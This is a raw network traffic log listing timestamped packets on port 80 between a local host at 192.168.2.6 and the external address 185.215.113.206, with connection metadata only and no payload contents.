Dec 9, 2024 18:20:36.237725973 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.237816095 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.237859011 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.238595963 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.238640070 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.238725901 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.238766909 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.239545107 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.239588976 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.239665031 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.239706993 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.240566969 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.240613937 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.240664959 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.240706921 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.241596937 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.241646051 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.241702080 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.241743088 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.242813110 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.242863894 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.300554037 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.300571918 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.300623894 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.300637960 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.300842047 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.300889969 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.301018000 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.301064968 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.302336931 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.302349091 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.302381992 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.302926064 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.302937984 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.302967072 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.302990913 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.304079056 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.304119110 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.304893017 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.304932117 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.305681944 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.305699110 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.305732965 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.305740118 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.305993080 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.306034088 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.306313992 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.306360006 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.306539059 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.306551933 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.306582928 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.306593895 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.307106972 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.307152987 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.307310104 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.307354927 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.308101892 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.308146954 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.308172941 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.308212996 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.308976889 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.309020996 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.309322119 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.309366941 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.309694052 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.309741974 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.309811115 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.309849977 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.310425043 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.310470104 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.310528994 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.310571909 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.311340094 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.311386108 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.311543941 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.311587095 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.312562943 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.312613964 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.312721968 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.312767029 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.313596964 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.313673973 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.313750029 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.313795090 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.314294100 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.314341068 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.314388990 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.314433098 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.314981937 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.315028906 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.315099001 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.315143108 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.315984011 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.316035032 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.316102028 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.316147089 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.316682100 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.316729069 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.316792011 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.316829920 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.317604065 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.317648888 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.317728996 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.317775965 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.318509102 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.318552971 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.318610907 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.318655968 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.319341898 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.319386005 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.319746971 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.319791079 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.320099115 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.320144892 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.320203066 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.320245028 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.320950031 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.320996046 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.321063995 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.321147919 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.321783066 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.321831942 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.322032928 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.322078943 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.322803974 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.322850943 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.322874069 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.322911978 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.323719025 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.323766947 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.323928118 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.323971033 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.324708939 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.324752092 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.324883938 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.324928999 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.325730085 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.325778961 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.325799942 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.325838089 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.326721907 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.326767921 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.326841116 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.326885939 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.327632904 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.327680111 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.327872992 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.327918053 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.328639984 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.328684092 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.328751087 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.328790903 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.365967035 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.366019964 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.366039991 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.366080046 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.366333008 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.366379976 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.366453886 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.366503000 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.367420912 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.367470026 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.367608070 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.367655993 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.368424892 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.368473053 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.368596077 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.368638992 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.369395018 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.369440079 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.369514942 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.369553089 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.370335102 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.370381117 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.370516062 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.370556116 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.371330976 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.371376991 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.371401072 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.371439934 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.372335911 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.372381926 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.372509003 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.372550011 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.373354912 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.373406887 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.373460054 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.373506069 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.374280930 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.374329090 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.374440908 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.374490023 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.421839952 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.421894073 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.421967983 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.422012091 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.422097921 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.422143936 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.422260046 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.422303915 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.423105955 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.423152924 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.423191071 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.423223972 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.424118042 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.424160004 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.424213886 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.424253941 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.424761057 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.424799919 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.424880028 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.424925089 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.426426888 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.426472902 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.426645041 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.426688910 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.426786900 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.426801920 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.426841021 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.427848101 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.427897930 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.428127050 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.428168058 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.428968906 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.429018021 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.429110050 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.429150105 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.429883003 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.429927111 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.430035114 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.430079937 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.430753946 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.430797100 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.430880070 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.430922031 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.431730032 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.431777000 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.431824923 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.431864977 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.432635069 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.432677984 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.432770967 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.432816982 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.433643103 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.433690071 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.433746099 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.433789015 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.490721941 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.490770102 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.490850925 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.490895033 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.491182089 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.491238117 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.491350889 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.491390944 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.491962910 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.492005110 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.492121935 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.492160082 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.492880106 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.492923021 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.493159056 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.493205070 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.493884087 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.493923903 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.494225979 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.494266033 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.494889975 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.494934082 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.494998932 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.495033979 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.495877981 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.495927095 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.495986938 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.496026993 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.496845961 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.496889114 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.497168064 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.497210026 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.497829914 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.497870922 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.497895002 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.497939110 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.498758078 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.498801947 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.498861074 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.498903036 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.499766111 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.499816895 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.500057936 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.500101089 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.500782013 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.500828981 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.500874996 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.500915051 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.501847029 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.501893997 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.501945019 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.501979113 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.502926111 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.502990007 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.503083944 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.503130913 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.504221916 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.504270077 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.504297972 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.504338980 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.505211115 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.505258083 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.505285978 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.505322933 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.506159067 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.506208897 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.506242037 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.506283045 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.507070065 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.507112980 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.507174969 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.507220030 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.508074045 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.508114100 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.508219957 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.508264065 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.508888006 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.508934021 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.508982897 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.509020090 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.509684086 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.509732962 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.509919882 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.509965897 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.510916948 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.510972023 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.511090040 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.511131048 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.511882067 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.511923075 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.512073994 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:36.512118101 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:36.512830019 CET	80	49788	185.215.113.206	192.168.2.6
